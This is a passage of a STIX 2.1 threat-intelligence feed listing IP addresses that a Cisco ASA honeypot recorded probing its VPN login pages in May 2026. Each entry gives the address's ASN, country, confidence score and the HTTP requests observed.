      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--f5494ce9-4cda-496e-86d1-ff59e1a0aa9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.85.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T16:30:55.134Z",
          "last_seen": "2026-05-27T16:31:08.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--996ac79e-cc4e-4adb-9548-1d3bf9f786a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.204.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T16:51:15.410Z",
          "last_seen": "2026-05-29T14:09:39.856Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--accb9a87-596a-4a74-9714-2c466c2d94a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.10.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T16:20:16.079Z",
          "last_seen": "2026-05-27T16:20:29.564Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--343ed174-14ef-4cb1-b367-6a15ec3ee9be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.122.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T16:49:49.692Z",
          "last_seen": "2026-05-27T16:50:02.190Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f1bea8b9-1b5d-4986-9284-505b0f9c660d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.189.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T17:18:38.475Z",
          "last_seen": "2026-05-27T17:18:51.352Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1adfb79f-c087-4ccc-aecd-ef41aec3a8a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.240.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T16:44:57.882Z",
          "last_seen": "2026-05-27T16:45:09.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ce84cfeb-b356-43b0-8f55-93ce09ad0420",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.159.126.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:20:10.000Z",
      "valid_until": "2026-06-28T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T16:23:48.963Z",
          "last_seen": "2026-05-27T17:24:41.014Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a2538c32-a815-4ff5-bcd0-4194a31f1db8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.167.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T19:12:47.196Z",
          "last_seen": "2026-05-27T19:12:58.817Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--b8cb75d7-21c5-49dd-bde2-bb56938f953c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.228.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T19:10:51.992Z",
          "last_seen": "2026-05-27T19:11:06.493Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--847ed1aa-cc5d-489b-8528-a51dad0abad7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.106.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T18:42:08.333Z",
          "last_seen": "2026-05-27T18:42:20.091Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US",
      "id": "indicator--0485c180-d263-4d83-89ee-f36c38eec103",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.59.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-27T18:35:12.479Z",
          "last_seen": "2026-05-27T18:35:32.547Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: ID; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--3e2c89ca-335d-409c-b635-a4b4ec70306e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.153.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-27T18:30:05.328Z",
          "last_seen": "2026-05-27T18:30:47.870Z",
          "country": "Indonesia",
          "country_code": "ID",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6a3e6d47-90a9-4ed0-99c6-eb94cb55529e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '158.46.179.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T19:10:39.889Z",
          "last_seen": "2026-05-29T12:43:03.895Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--7ad4bd9d-eff9-47a8-b1e8-e853ef26bb88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.65.231.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T19:03:37.809Z",
          "last_seen": "2026-05-27T19:03:40.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--10c1eeb8-94d2-4761-9986-a4d9eb0ae552",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.255.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T19:12:31.154Z",
          "last_seen": "2026-05-30T02:36:48.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--32c8a4ba-a558-457c-8ef6-daa5642c35d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.185.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T18:54:36.478Z",
          "last_seen": "2026-05-30T06:22:28.717Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--54a30132-5813-470d-9fe0-ce67dc05a72d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.195.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T18:34:54.459Z",
          "last_seen": "2026-05-30T09:49:53.701Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--fd376950-f8b6-4742-affb-b22be8ad9c02",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.48.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-27T18:28:08.075Z",
          "last_seen": "2026-05-30T05:36:49.453Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--79b0603b-6ba3-4533-9d31-92bf3b446233",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
      "valid_until": "2026-06-28T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-27T19:07:50.116Z",
          "last_seen": "2026-05-29T15:06:15.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--209bf680-b6f2-4644-8bad-c6750dd6d8f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.42.218.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:20:10.000Z",
